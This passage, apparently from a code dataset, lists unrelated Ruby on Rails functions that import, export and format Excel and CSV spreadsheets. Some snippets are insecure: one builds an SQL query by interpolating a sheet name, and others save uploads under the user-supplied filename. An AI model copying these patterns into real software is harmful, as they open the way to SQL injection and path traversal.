1]=\"Student Name\"\n\t sheet1[0, 2]=\"Role Name\"\n\n\n\t @studentlist.each do |s|\n\n\t\tsheet1[i, 0]=s.id\n\t\tsheet1[i, 1]=s.first_name+s.last_name\n\t\tsheet1[i, 2]= \" \"\n\t\ti=i+1\n\t\t@book.write \"#{Rails.root}/public/Files/Game_Creation.xls\"\n\n\n\t end\n\n\tend\n end", "def convert_to_stagingsXLSX(path, uploaded_io, type)\n\tfields_to_insert = %w{ AccountNum DateRead Consumption DaysUsed }\n\trows_to_insert = []\n\n\tDir[path+\"/\" + uploaded_io.original_filename].each do |file|\n\t\t #handles the first sheet and first sheet only\n file_path = \"#{file}\"\n file_basename = File.basename(file, \".xlsx\")\n xlsx = Roo::Excelx.new(file_path.to_s)\n $i = xlsx.sheets.length - 1\n\t\t xlsx.default_sheet = xlsx.sheets[0]\n\t\t headers = Hash.new\n\t\t xlsx.row(1).each_with_index {|header,i|\n\t\t headers[header] = i\n\t }\n\n \n\t\t #Looks at each row and extracts the data\n ((xlsx.first_row + 1)..xlsx.last_row).each do |row|\n\t\t\t \n\t\t acctnum = xlsx.row(row)[headers['AccountNum']]\n\t\t date = xlsx.row(row)[headers['DateRead']]\n\t\t\t amt_kwh = xlsx.row(row)[headers['Consumption']]\n\t\t\t days_used = xlsx.row(row)[headers['DaysUsed']]\n\t\t \n\t\t\t #Handles excelx formate Dates\n\t\t\t #date = DateTime.new(1899,12,30) + Integer(date).days \n\t\t\t #Creates a staging IF staging does not already exist AND IF recording with same date and acct num does not exist in the Database\n \t\t\t if !Recording.exists?(:acctnum => acctnum.to_i, :read_date=>date)\n\t\t\t \tStaging.where({\"acctnum\"=>acctnum.to_i, \"consumption\"=>amt_kwh, \"days_in_month\"=>days_used, \"read_date\"=>date, \"utility_type_id\" => type}).first_or_create(:locked => false)\n\t\t\t end\n end\n\t\t \n\t\t \n Upload.update_all( {:status => 'Processed', :process_date => Time.now}, {:file_name => uploaded_io.original_filename})\n\n end\n\n end", "def download_printer_data\n \tSpreadsheet.client_encoding = 'UTF-8'\n\t\tbook = Spreadsheet::Workbook.new\n \t \tsheet1 = book.create_worksheet \n \t \tsheet1.name = \"Printer Data #{PrinterSelection.last.from_time} - #{PrinterSelection.last.to_time}\"\n \t \t\n \t \t#formatting\n \t \tdate_time = Spreadsheet::Format.new :number_format => 'DD/MM/YYYY hh:mm:ss'\n \t \tsheet1.column(4).default_format = date_time\n \t \tsheet1.column(5).default_format = date_time\n \t \t\n \t \tbold = Spreadsheet::Format.new :weight => :bold\n \t \tsheet1.row(0).default_format = bold\n \t \t \t \t\t\n \t \t#name\n \t \tsheet1.column(0).width = 20\n \t \t#project\n \t \tsheet1.column(1).width = 20\n \t \t#printer\n \t \tsheet1.column(2).width = 20\n \t \t#volume\n \t \tsheet1.column(3).width = 15\n \t \t#date\n \t \tsheet1.column(4).width = 20\n \t \t#time taken\n \t \tsheet1.column(5).width = 30\n \t \t#notes\n \t \tsheet1.column(6).width = 50\n \t \t\n \t \t#content\n \t \tsheet1.row(0).push 'Name', 'Project', 'Printer', 'Volume','Date', 'Time Taken (m)', 'Email', 'Notes'\n \t \tall_data = PrinterDatum.all\n sorted_all_data = all_data.sort{ |a,b| a.to_time <=> b.to_time}\n\t\tselection = PrinterSelection.last \t \t\t\n \t \trownum = 1\n sorted_all_data.each do |data| \n \t \t if data.from_time >= selection.from_time && data.to_time <= selection.to_time\t \t\t\t\t\n \t \t row = sheet1.row(rownum)\n\n \n from_time = data.from_time\n to_time = data.to_time\n distance_in_hours = (((to_time - from_time).abs) / 3600).round\n distance_in_minutes = ((((to_time - from_time).abs) % 3600) / 60).round\n\n difference_in_words = ''\n\n difference_in_words << \"#{distance_in_hours} #{distance_in_hours > 1 ? 'hours' : 'hour' } and \" if distance_in_hours > 0\n difference_in_words << \"#{distance_in_minutes} #{distance_in_minutes == 1 ? 'minute' : 'minutes' }\"\n\n email = FabricationUser.find_by(name: data.name).email\n\n \t \t\t\trow.push \"#{data.name}\"\n \t \t\t\trow.push \"#{data.project}\"\n \t \t\t\trow.push \"#{data.printer}\"\n \t \t\t\trow.push \"#{data.volume}\"\n \t \t\t\trow.push \"#{data.from_time.strftime \"%Y-%m-%d\"}\"\n row.push \"#{difference_in_words}\"\n row.push \"#{email}\"\n \t \t\t\trow.push \"#{data.notes}\"\n rownum += 1\n \t \t\tend\n \t \tend\n \t \t\n #name file\n \t\t@outfile = \"Printer_Data_#{selection.from_time.strftime \"%Y-%m-%d\"}_to_#{selection.to_time.strftime \"%Y-%m-%d\"}.xls\"\n \t\tPrinterSelection.delete_all\n \t\t\n \trequire 'stringio'\n \tdata = StringIO.new ''\n #write to book\n \tbook.write data\n #initiate download\n \tsend_data data.string, :type=>\"application/excel\", :disposition=>'attachment', :filename => @outfile\n end", "def open_spreadsheet sheet_name = ''\n extension = File.extname(@filepath.split(\"/\").last)\n @spreadsheet = Roo::Spreadsheet.open(@filepath, extension: extension)\n @spreadsheet.default_sheet = @spreadsheet.sheets.include?(sheet_name) ? sheet_name : @spreadsheet.sheets.first\n rescue => e\n add_error message: e.message, backtrace: e.backtrace, row_index: nil, data: {}\n end", "def readWorkbook\n # open the speadsheet\n workbook = Roo::Spreadsheet.open(params[:file], extension: :xlsx)\n\n workbook.default_sheet = 'Rating'\n\n @policy.name= workbook.cell('C',3)\n @policy.quoted_by= workbook.cell('B',1)\n #@policy.date= workbook.cell('B',2)\n @policy.effective_date= workbook.cell('F',7)\n @policy.expiration_date= workbook.cell('J',7)\n\n @policy.dba= workbook.cell('B',4),\n @policy.business_type= workbook.cell('L',5)\n @policy.mortgagee= workbook.cell('S',3)\n\n @policy.street= workbook.cell('C',5)\n @policy.city= workbook.cell('B',6)\n @policy.state= workbook.cell('G',6)\n @policy.zip= workbook.cell('K',6).to_i.to_s\n\n # Property\n @policy.property.schedule_rating_pct= workbook.cell('J',36)\n @policy.property.premium_subtotal= workbook.cell('J',35)\n @policy.property.premium_total= workbook.cell('M',41)\n\n @policy.property.locations.destroy_all # no duplicates\n # First location (locations.first)\n #locationFields = {\n @policy.property.locations.create!(\n number: 1, premium: workbook.cell('N',33),\n co_ins: workbook.cell('L',14), co_ins_factor: workbook.cell('L',15),\n ded: workbook.cell('B',15), ded_factor: workbook.cell('G',15),\n\n street: workbook.cell('C',10), city: workbook.cell('B',11),\n state: workbook.cell('G',11), zip: workbook.cell('K',11).to_i.to_s,\n\n business_type: workbook.cell('L',10), coverage_type: workbook.cell('D',12),\n protection_class: workbook.cell('L',12), updates: workbook.cell('K',13),\n year_built: workbook.cell('B',13).to_i.to_s, construction_type: workbook.cell('H',13),\n stories: workbook.cell('E',13).to_i, square_feet: workbook.cell('B',14).to_i,\n parking_lot: workbook.cell('H',14).to_i,\n\n #food_limit: workbook.cell('F',17),\n food_rate: workbook.cell('H',17),\n food_premium: workbook.cell('J',17),\n\n theft_limit: workbook.cell('F',18),\n #theft_rate: workbook.cell('H',18),\n theft_premium: workbook.cell('J',18),\n\n #enhc_limit: workbook.cell('F',19),\n enhc_rate: workbook.cell('H',19),\n enhc_premium: workbook.cell('J',19),\n\n #mech_limit: workbook.cell('F',20),\n #mech_rate: workbook.cell('H',20),\n mech_premium: workbook.cell('J',20)\n )\n #if (!@policy.property.locations.where(number:1).exists?)\n #@policy.property.locations.create!(locationFields)\n\n for i in 23..29 do\n @policy.property.locations.first.exposures.create!(\n name: (workbook.cell('A',i) || \"\"),\n valuation: (workbook.cell('D',i) || \"\"),\n limit: (workbook.cell('F',i) || 0),\n rate: (workbook.cell('H',i) || 0),\n ded_factor: (workbook.cell('J',i) || 0),\n co_ins_factor: (workbook.cell('L',i) || 0),\n premium: (workbook.cell('O',i) || 0)\n )\n end\n #else\n #@policy.property.locations.first.update(locationFields)\n #end\n\n # Earnings should have all 0s\n @policy.property.locations.first.exposures.third.update(valuation: 0,\n ded_factor: 0, co_ins_factor: 0 )\n\n # Second location (locations.second) (optional)\n if (workbook.cell('T',10) != nil)\n @policy.property.locations.create!(\n number: 2, premium: workbook.cell('AE',33), co_ins: workbook.cell('AC',14),\n co_ins_factor: workbook.cell('AC',15), ded: workbook.cell('S',15),\n ded_factor: workbook.cell('X',15),\n\n street: workbook.cell('T',10), city: workbook.cell('S',11),\n state: workbook.cell('X',11), zip: workbook.cell('AB',11).to_i.to_s,\n\n business_type: workbook.cell('AC',10), coverage_type: workbook.cell('U',12),\n protection_class: workbook.cell('AC',12), updates: workbook.cell('AB',13),\n year_built: workbook.cell('S',13), construction_type: workbook.cell('Y',13),\n stories: workbook.cell('V',13).to_i, square_feet: workbook.cell('S',14).to_i,\n parking_lot: workbook.cell('Y',14).to_i,\n\n #food_limit: workbook.cell('W',17),\n food_rate: workbook.cell('Y',17),\n food_premium: workbook.cell('AA',17),\n\n theft_limit: workbook.cell('W',18),\n #theft_rate: workbook.cell('Y',18),\n theft_premium: workbook.cell('AA',18),\n\n #enhc_limit: workbook.cell('W',19),\n enhc_rate: workbook.cell('Y',19),\n enhc_premium: workbook.cell('AA',19),\n\n #mech_limit: workbook.cell('W',20),\n #mech_rate: workbook.cell('Y',20),\n mech_premium: workbook.cell('AA',20)\n )\n\n for i in 23..29 do\n @policy.property.locations.second.exposures.create!(\n name: (workbook.cell('R',i) || \"\"),\n valuation: (workbook.cell('U',i) || \"\"),\n limit: (workbook.cell('W',i) || 0),\n rate: (workbook.cell('Y',i) || 0),\n ded_factor: (workbook.cell('AA',i) || 0),\n co_ins_factor: (workbook.cell('AC',i) || 0),\n premium: (workbook.cell('AF',i) || 0)\n )\n end\n\n # Earnings should have all 0s\n @policy.property.locations.second.exposures.third.update(valuation: 0,\n ded_factor: 0, co_ins_factor: 0 )\n end\n\n # Crime\n @policy.crime.premium_total= workbook.cell('M',62)\n @policy.crime.premium_subtotal= workbook.cell('J',56)\n @policy.crime.schedule_rating= workbook.cell('J',57)\n @policy.crime.burglar_alarm= workbook.cell('F',44)\n @policy.crime.exclude_safe= workbook.cell('F',45)\n @policy.crime.ded= workbook.cell('K',44)\n\n @policy.crime.exposures.destroy_all # no duplications\n\n for i in 47..51 do\n @policy.crime.exposures.create!(\n name: workbook.cell('A',i), limit: workbook.cell('F',i),\n premium: workbook.cell('K',i)\n )\n end\n\n @policy.gl.exposure_gls.destroy_all # no duplications\n\n for i in 76..84 do\n if (workbook.cell('A',i) != nil)\n @policy.gl.exposure_gls.create!(\n name: \"exposure_#{i-75}\",\n loc_number: workbook.cell('A',i),\n description: workbook.cell('C',i),\n cov: workbook.cell('B',i),\n code: workbook.cell('H',i),\n premium_basis: workbook.cell('I',i),\n sales_type: workbook.cell('K',i),\n base_rate: workbook.cell('M',i),\n ilf: workbook.cell('O',i),\n premium: workbook.cell('Q',i)\n )\n end\n end\n\n @policy.gl.gas_premium= workbook.cell('M',88)\n @policy.gl.rate= workbook.cell('J',88)\n @policy.gl.water_gas_tank= workbook.cell('F',88)\n @policy.gl.add_ins_number= workbook.cell('F',87)\n @policy.gl.territory= workbook.cell('B',65).to_i\n @policy.gl.comments= (workbook.cell('B',99) || \"none\")\n\n @policy.gl.gen_agg= workbook.cell('F',67)\n @policy.gl.products_completed_operations= workbook.cell('F',68)\n @policy.gl.personal_advertising_injury= workbook.cell('F',69)\n @policy.gl.each_occurence= workbook.cell('F',70)\n @policy.gl.fire_damage= workbook.cell('F',71)\n @policy.gl.medical_expense= workbook.cell('F',72)\n\n if (workbook.cell('A',89) == nil)\n # General Liability\n @policy.gl.premium_total= workbook.cell('N',99)\n @policy.gl.premium_subtotal= workbook.cell('Q',89)\n @policy.gl.schedule_rating= workbook.cell('Q',91)\n @policy.gl.multi_loc_factor= workbook.cell('Q',90)\n\n # Commerical Auto\n @policy.auto.premium_total= workbook.cell('N',107)\n @policy.auto.locations= workbook.cell('K',102)\n @policy.auto.hired_auto= workbook.cell('F',103)\n @policy.auto.hired_auto_premium= workbook.cell('Q',103)\n\n @policy.package_premium_total= workbook.cell('N',109)\n else\n # General Liability\n @policy.gl.premium_total= workbook.cell('N',101)\n @policy.gl.premium_subtotal= workbook.cell('Q',91)\n @policy.gl.schedule_rating= workbook.cell('Q',93)\n @policy.gl.multi_loc_factor= workbook.cell('Q',92)\n\n # Commerical Auto\n @policy.auto.premium_total= workbook.cell('N',109)\n @policy.auto.locations= workbook.cell('K',104)\n @policy.auto.hired_auto= workbook.cell('F',105)\n @policy.auto.hired_auto_premium= workbook.cell('Q',105)\n\n @policy.package_premium_total= workbook.cell('N',111)\n end\n end", "def save_as_spreadsheet\n session = GoogleDrive::Session.from_config(\"../../config.json\")\n spreadsheet = session.spreadsheet_by_name(\"testcreatefile\").worksheets[0] # on dit a l'api que l'on souhaite modifier le spreadsheet qui porte X nom et la feuille numero 0 de ce meme spreadsheet\n @@name_and_email.map.with_index do |hash, index| # on parcour le tableau qui contion les nom et les emails de chasque ville\n name = hash.keys # je met la key du hash dans une variable, cette variable corespond au nom de la ville\n name = name[0] # je transforme ma variable en string (sans cette ligne cette variable est de type array)\n email = hash.values # je met la value du hash dans une variable, cette variable corespond a l'email de la ville\n email = email[0] # je transforme ma variable en string (sans cette ligne cette variable est de type array)\n spreadsheet[index + 1, 1] = name # le programme envoi le nom de la ville sur le spreadsheet\n spreadsheet[index + 1, 2] = email # le programme envoi l'email de la ville sur le spreadsheet\n end\n spreadsheet.save # le programme sauvegarde les modifications sur le spreadsheet qu'il a modifier\n end", "def getWorkbookFromParams(_params)\n quiz_file = _params[:students_excel]\n file = FullQuizFileUploader.new\n file.quiz_id = _params[:id]\n file.store!(quiz_file)\n book = Spreadsheet.open Rails.root.join('tmp/uploads').join\"#{file.store_path}\"\n file.delete_file\n return book\n end", "def build\r\n\t \tbuffer = \"\"\r\n\t\t xml = Builder::XmlMarkup.new(buffer)\r\n\t\t xml.instruct! :xml, :version=>\"1.0\", :encoding=>\"UTF-8\" \r\n\t\t xml.Workbook({\r\n\t\t 'xmlns' => \"urn:schemas-microsoft-com:office:spreadsheet\", \r\n\t\t 'xmlns:o' => \"urn:schemas-microsoft-com:office:office\",\r\n\t\t 'xmlns:x' => \"urn:schemas-microsoft-com:office:excel\", \r\n\t\t 'xmlns:html' => \"http://www.w3.org/TR/REC-html40\",\r\n\t\t 'xmlns:ss' => \"urn:schemas-microsoft-com:office:spreadsheet\" \r\n\t\t }) do\r\n\t \r\n\t\t\t xml.Styles do\r\n\t\t\t xml.Style 'ss:ID' => 'Default', 'ss:Name' => 'Normal' do\r\n\t\t\t xml.Alignment 'ss:Vertical' => 'Bottom'\r\n\t\t\t xml.Borders\r\n\t\t\t xml.Font 'ss:FontName' => 'Arial'\r\n\t\t\t xml.Interior\r\n\t\t\t xml.NumberFormat\r\n\t\t\t xml.Protection\r\n\t\t\t end\r\n\t\t\t \r\n\t\t\t xml.Style 'ss:ID' => 'DefaultBold' do\r\n\t\t\t xml.Font 'ss:Bold' => '1'\r\n\t\t end\r\n\t\t\t \r\n\t\t\t xml.Style 'ss:ID' => 'Date' do\r\n\t\t\t xml.NumberFormat 'ss:Format' => 'mm/dd/yy'\r\n\t\t\t end\r\n\r\n\t\t\t xml.Style 'ss:ID' => 'DateBold' do\r\n\t\t\t xml.NumberFormat 'ss:Format' => 'mm/dd/yy'\r\n\t\t\t xml.Font 'ss:Bold' => '1'\r\n\t\t\t end\r\n\t\t\t \r\n\t\t\t xml.Style 'ss:ID' => 'Currency' do\r\n\t\t\t xml.NumberFormat 'ss:Format' => '\"$\"#,##0.00'\r\n\t\t\t end\t\t\t \r\n\r\n\t\t\t xml.Style 'ss:ID' => 'CurrencyBold' do\r\n\t\t\t xml.NumberFormat 'ss:Format' => '\"$\"#,##0.00'\r\n\t\t\t xml.Font 'ss:Bold' => '1'\r\n\t\t\t end\t\t\t \r\n\t\t\t end\r\n\t\t\t \r\n\t\t\t for object in @worksheets\r\n\t\t \t\t# use the << operator to prevent the < > and & characters from being converted.\r\n\t\t \t\t# this will concat them together.\r\n\t\t \t\tif object[1] =='array'\r\n\t\t \t\t xml << worksheetFromArray(object[0], object[2])\r\n\t elsif object[1]=='table'\r\n\t xml << worksheetFromTable(object[0], object[2])\r\n\t else\r\n\t xml << worksheet(object[0], object[1], object[2])\r\n\t end\r\n\t\t\t end # for records\r\n\t\t\t end\r\n\t\t\t \r\n\t return xml.target! \r\n\t end", "def write_excel\n #get param\n @user = index\n @hashtags= @user.hashtags\n #generate new Excel file\n workbook = RubyXL::Workbook.new\n worksheet=workbook[0]\n #save information for all post\n worksheet.add_cell(0, 1, \"ID\")\n worksheet.add_cell(0, 2, \"FOLLOWERS\")\n worksheet.add_cell(0, 3, \"LEVEL\")\n worksheet.add_cell(0, 4, \"SCORE\")\n worksheet.add_cell(0, 5, \"SUM\")\n worksheet.add_cell(1, 1, @user.username)\n worksheet.add_cell(1, 2, @user.followers)\n worksheet.add_cell(1, 3, @user.level)\n worksheet.add_cell(1, 4, @user.score)\n worksheet.add_cell(1, 5, @user.sum)\n #write hashtags\n worksheet.add_cell(3, 0, \"RANK\")\n worksheet.add_cell(3, 1, \"HASHTAG\")\n worksheet.add_cell(3, 2, \"TIMES\")\n worksheet.add_cell(3, 3, \"GLOBAL TIMES\")\n worksheet.add_cell(3, 4, \"VALUE\")\n worksheet.add_cell(3, 5, \"AVAILABILITY\")\n i=0\n for hashtag in @hashtags\n worksheet.add_cell(i+4, 0, i+1)\n worksheet.add_cell(i+4, 1, hashtag.hashtags)\n worksheet.add_cell(i+4, 2, hashtag.use_by_user)\n worksheet.add_cell(i+4, 3, hashtag.use_by_global)\n worksheet.add_cell(i+4, 4, hashtag.avai == \"0\" ? hashtag.use_by_global*hashtag.use_by_user : 0 )\n worksheet.add_cell(i+4, 5, hashtag.avai) \n i=i+1 \n end\n #send\n send_data( workbook.stream.string, :filename => \"#{@user.username}-#{@percentage}%-hashtags.xlsx\" ) \n end", "def create\n @timesheet = Timesheet.new(timesheet_params)\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_timesheet_url(@timesheet) }\n else\n format.html { render :new }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n file = params['file']\n random_name = random_string(20)\n File.open( \"public/excel/\" + random_name + file.original_filename, \"wb\" ) { |f| f.write( file.read ) }\n name = \"public/excel/\" + random_name + file.original_filename\n ext_name = File.extname( name )\n\n #parsujemy plik excela\n if ext_name == '.csv' #parsowanie w przypadku plików .csv\n workbook = CSV.read(name, { :col_sep => ';', :encoding => 'iso-8859-2:utf-8'})\n workbook = workbook\n else\n workbook = Spreadsheet.open name #parsowanie w przypadku standardowych plików excela .xls .xlsx\n workbook = workbook.worksheets[0]\n end\n\n #wyswietlamy komunikat zwrotny\n if Excel.create(:excel_json => workbook.to_json, :name => file.original_filename, :user_id => session[:user]['id'])\n render json: {save: true, message: 'zapisano poprawnie plik', callback: 'excel'}\n else\n render json: {save: false, message: 'błąd w zapisie', callback: 'excel'}\n end\n end", "def add_new_record(h, ws)\n row_array = []\n @excel_row.each do |a|\n row_array.push(h[a])\n end\n ws.add_row row_array\nend", "def info; @xlsx.info; end", "def open_spreadsheet\r\n case File.extname(file.original_filename)\r\n when \".csv\" then\r\n Roo::Csv.new(file.path, nil, :ignore)\r\n when \".xls\" then\r\n Roo::Excel.new(file.path, nil, :ignore)\r\n when \".xlsx\" then\r\n Roo::Excelx.new(file.path, nil, :ignore)\r\n else\r\n raise \"Unknown file type: #{file.original_filename}\"\r\n end\r\n end", "def import_data_to_workbook\n file_name = \"Sample_Test_Book.xls\"\n upload_file(file_name)\n\n import_option = ImportDataImportOption.new\n import_option.destination_worksheet = \"Sheet3\"\n import_option.is_insert = true\n response = @cells_api.post_import_data(file_name, import_option)\n end", "def write_workbook workbook, io\n unless workbook.is_a?(Excel::Workbook) && workbook.io\n @date_base = Date.new 1899, 12, 31\n write_from_scratch workbook, io\n else\n @date_base = workbook.date_base\n if workbook.changes.empty?\n super\n else\n write_changes workbook, io\n end\n end\n ensure\n cleanup workbook\n end", "def perform(xlsx_file)\n Solution.destroy_all\n\n xlsx = Roo::Spreadsheet.open(xlsx_file)\n xlsx.default_sheet = xlsx.sheets[1]\n\n (3..xlsx.last_row).each do |row|\n record = xlsx.row(row)\n\n # attributes with _ are pending\n solution = Solution.create(\n number: record[0],\n # _sector: record[1],\n # _subsector: record[2],\n title: record[3],\n description: record[4],\n solution_of: solution_of_helper(record[5]),\n guiding_public_policies: record[6],\n technical_references: record[7],\n examples_of_municipal_application: record[8],\n applicable_regions: applicable_regions_helper(record[9]),\n applicable_population_ranges: applicable_population_ranges_helper(record[10]),\n fundamental_sector: fundamental_sector_helper(record[11]),\n impact_on_emissions: impact_on_emissions_helper(record[12]),\n action_category: record[13],\n sustainable_development_goals: sustainable_development_goals_helper(record[14]),\n environmental_cobenefits: record[15],\n social_cobenefits: record[16],\n economic_cobenefits: record[17],\n sphere: sphere_helper(record[18]),\n municipal_operating_mode: record[19],\n alignment_with_ndc: record[20],\n necessary_investment: record[21],\n financing: record[22],\n key_actors: record[23],\n challenges: record[24],\n implementation_time: record[25]\n )\n end\n end", "def open_spreadsheet(file)\n case File.extname(file.original_filename)\n when \".csv\" then Roo::Csv.new(file.path, file_warning: :ignore)\n when \".xls\" then Roo::Excel.new(file.path, file_warning: :ignore)\n when \".xlsx\" then Roo::Excelx.new(file.path, file_warning: :ignore)\n when \".ods\" then Roo::OpenOffice.new(file.path, file_warning: :ignore)\n else raise \"Unknown file type: #{file.original_filename}\"\n end\n end", "def create_pdf_script\n\t begin\n\t\t@text_data = \"\"\n\t if params[:dump][:excel_file] then temp = params[:dump][:excel_file].tempfile else render :index and return end\n file = File.join(\"public/rubyxl\",params[:dump][:excel_file].original_filename)\n FileUtils.cp temp.path, file\n ##debugger app = WIN32OLE.new('Excel.Application')\n\t\tWIN32OLE.ole_initialize\n app = WIN32OLE.new('Excel.Application')\n WIN32OLE.const_load(app, ExcelConst)\n @books = app.Workbooks.Open(File.expand_path(file, ENV['RAILS_ROOT']))\n savestyle = ExcelConst::XlLineStyleNone\n saveweight = ExcelConst::XlThin ##太さ\n savecolor = 0\n\t\tinit_starrt\n @books.Worksheets.each do |sheet|\n\t\t @report_code = sheet.name.downcase\n\t\t\treport = plsql.select(:first,\"select * from r_reports where pobject_code_rep = '#{@report_code}' and report_expiredate > sysdate\") \n\t\t\tif report.nil?\n @books.Close\n logger.debug\t \"line #{__LINE__} error : missing report_code #{@report_code}\"\n\t\t\t\t@text_data << \"<p>line #{__LINE__} error : missing report_code #{@report_code}</p>\"\n render :text => @text_data and return\n\t\t\tend\n\t\t\t@viewname = report[:pobject_code_view]\n if PLSQL::View.find(plsql, @viewname).nil?\n @books.Close\n\t\t\t\t@text_data << \"<p>line #{__LINE__} error : missing view #{@viewname}</p>\"\n render :text => @text_data and return\n end\n\t\t\t@screencode = report[:pobject_code_scr]\n\t\t\tif sheet.cells(1,1).value.nil?\n @books.Close\n logger.debug\t \"line #{__LINE__} error : cell(1,1) : must set some value sheet_name:#{sheet.name}\"\n @text_data << \"<p>line #{__LINE__} error : cell(1,1) : must set some value sheet_name:#{sheet.name}</p>\" and return\n render :text => @text_data and return\n\t\t\tend\n\t\t\t@margin = []\n @margin << sprintf(\"%.3f\",sheet.PageSetup.TopMargin * 0.394 /2).to_f\n @margin << sprintf(\"%.3f\",sheet.PageSetup.RightMargin * 0.394/2).to_f\n @margin << sprintf(\"%.3f\",sheet.PageSetup.BottomMargin * 0.394/2).to_f\n @margin << sprintf(\"%.3f\",sheet.PageSetup.LeftMargin * 0.394/2).to_f\n @paper[:orientation] = sheet.PageSetup.Orientation ##縦1 横 2\n @paper[:size] = sheet.PageSetup.PaperSize.to_i ## A3:8, A4:9, A5:11\n rowpos = 0.0 ##縦位置\n saverowpos = 0.0 #線種の始まり\n savecolumnpos = 0.0\n savecellrow = 0\n savecellcolumn = 0 \n rectsavecolor = 0\n rectsaverowpos = 0\n rectsavecolumnpos = 0\n rectwidthvalue = 0\n rectheight = 0 \n rectsavecellrow = 0\n rectsavecellcolumn = 0\n\t\t\trno_row = {}\n\t\t\trno_column = {}\n #### 横線種 box 項目作成\n sheet.UsedRange.Rows.each do |row|\n widthvalue = 0.0 ##横線長さ\n columnpos = 0.0 ##横位置\n rowpos += row.Height\n ###背景色処理\n rectrowpos = 0.0 ##縦位置\n rectcolumnpos = 0.0 ##縦位置\n @fill_rectangle_color << [rectsavecellrow,rectsavecellcolumn,rectsaverowpos,rectsavecolumnpos,rectwidthvalue,rectheight,rectsavecolor] if rectsavecolor != 0\n rectsavecellrow = 0\n rectsavecellcolumn = 0\n rectsavecolor = 0\n rectsaverowpos = 0\n rectsavecolumnpos = 0\n rectwidthvalue = 0\n rectheight = 0\n @wline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,widthvalue,savestyle,saveweight,savecolor] if savestyle != ExcelConst::XlLineStyleNone or saveweight != ExcelConst::XlThin or savecolor != 0\n savestyle = ExcelConst::XlLineStyleNone\n saveweight = ExcelConst::XlThin ##太さ\n savecolor = 0\n row.Columns.each do |cell|\n\t\t\t\t if cell.column == 1 \n\t\t\t\t\t if cell.value.to_s =~ /\\d/ then rno_row[cell.row] = cell.value.to_i else rno_row[cell.row] = 0 end\n\t\t\t\t\tend\t\n\t\t\t\t if cell.row == 1 \n\t\t\t\t\t if cell.value.to_s =~ /\\d/ then rno_column[cell.column] = cell.value.to_i else rno_column[cell.column] = 0 end\n\t\t\t\t\tend\t\n if cell.MergeCells\n if cell.MergeArea.Item(1,1).row == cell.row and cell.MergeArea.Item(1,1).column == cell.column and cell.column != 1 and cell.row != 1 \n\t @box_fields << [rno_row[cell.row]+rno_column[cell.column],\n\t\t\t\t\t\t\t [cell.row,cell.column,rowpos - row.Height,columnpos,cell.MergeArea.Font.size,cell.MergeArea.Item(1,1).Value.to_s,\n \t\t\t\t\t\t\t\t\t\tcell.MergeArea.Width,cell.MergeArea.Height,cell.MergeArea.Font.color,cell.MergeArea.HorizontalAlignment,\n\t\t\t\t\t\t\t\t\t\t\tcell.MergeArea.VerticalAlignment]] if cell.MergeArea.Item(1,1).Value\n\t end\n else\n\t if cell.Value and cell.column != 1 and cell.row != 1 \n\t @fields<< [rno_row[cell.row]+rno_column[cell.column],\n \t\t\t\t\t\t\t[cell.row,cell.column,rowpos,columnpos,cell.Font.size,cell.value.to_s,cell.Font.color]] ##if cell.Value.class != String\n\t end\n\t end ##cell.MergeCells\t\n\t if savestyle != cell.Borders(ExcelConst::XlEdgeBottom).LineStyle or saveweight != cell.Borders(ExcelConst::XlEdgeBottom).Weight or savecolor != cell.Borders(ExcelConst::XlEdgeBottom).Color then \n\t if savestyle != ExcelConst::XlLineStyleNone or saveweight != ExcelConst::XlThin or savecolor != 0 \n\t @wline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,widthvalue,savestyle,saveweight,savecolor]\n\t end ##if saveborder != ExcelConst::XlLineStyleNone\n\t widthvalue = 0.0\n\t if cell.Borders(ExcelConst::XlEdgeBottom).LineStyle == ExcelConst::XlLineStyleNone and cell.Borders(ExcelConst::XlEdgeBottom).Weight == ExcelConst::XlThin and cell.Borders(ExcelConst::XlEdgeBottom).Color == 0 then\n\t saverowpos = 0.0\n\t\t savecolumnpos = 0.0\n\t\t else\n\t\t saverowpos = rowpos \n\t\t savecellcolumn = cell.column\n\t\t savecellrow = cell.row\n\t\t savecolumnpos = columnpos\n end ## if cell.Borders(ExcelConst::XlEdgeBottom).LineStyle == ExcelConst::XlLineStyleNone\n\t savestyle = cell.Borders(ExcelConst::XlEdgeBottom).LineStyle \n saveweight = cell.Borders(ExcelConst::XlEdgeBottom).Weight\n savecolor = cell.Borders(ExcelConst::XlEdgeBottom).Color\n\t end ##if saveboder != cell.Borders(ExcelConst::XlEdgeBottom).LineStyle then \n\t widthvalue += cell.Width\n\t ################# 罫線処理終了\n\t #背景色処理開始\n\t if cell.MergeCells\t \n\t if cell.MergeArea.Item(1,1).row == cell.row and cell.MergeArea.Item(1,1).column == cell.column then\n\t\t if rectsavecolor != cell.MergeArea.Interior.Color then\n if rectsavecolor != 0 then\n\t\t @fill_rectangle_color << [rectsavecellrow,rectsavecellcolumn,rectsaverowpos,rectsavecolumnpos,rectwidthvalue,rectheight,rectsavecolor]\n\t\t\t rectwidthvalue = 0\n end\n\t\t if cell.MergeArea.Interior.Color == 0 then \n rectsavecellrow = rectsavecellcolumn = rectsaverowpos = rectsavecolumnpos = rectwidthvalue = rectheight = 0\n\t \t else\n\t\t rectsaverowpos = rowpos - cell.MergeArea.Height\n\t\t rectsavecellcolumn = cell.column\n\t\t rectsavecellrow = cell.row\n\t\t rectsavecolumnpos = columnpos\n\t\t rectsavecolor = cell.MergeArea.Interior.Color\n\t\t rectheight = cell.MergeArea.Height\n\t end ## cell.Interior.Color == \n\t\t end\n\t end ##cell.MergeArea.Item(1,1).row == cell.row and cell.MergeArea.Item(1,1).column == cell.column\n\t else\n\t if rectsavecolor != cell.Interior.Color then\n\t if rectsavecolor != 0 then \n\t\t @fill_rectangle_color << [rectsavecellrow,rectsavecellcolumn,rectsaverowpos,rectsavecolumnpos,rectwidthvalue,rectheight,rectsavecolor]\n\t\t rectwidthvalue = 0\n end\n\t if cell.Interior.Color == 0 then \n rectsavecellrow = rectsavecellcolumn = rectsaverowpos = rectsavecolumnpos = rectwidthvalue = rectheight = 0\n\t\t else\n\t\t rectsaverowpos = rowpos - cell.Height\n\t\t rectsavecellcolumn = cell.column\n\t\t rectsavecellrow = cell.row\n\t\t rectsavecolumnpos = columnpos\n\t\t rectsavecolor = cell.Interior.Color\n\t\t rectheight = cell.Height\n\t 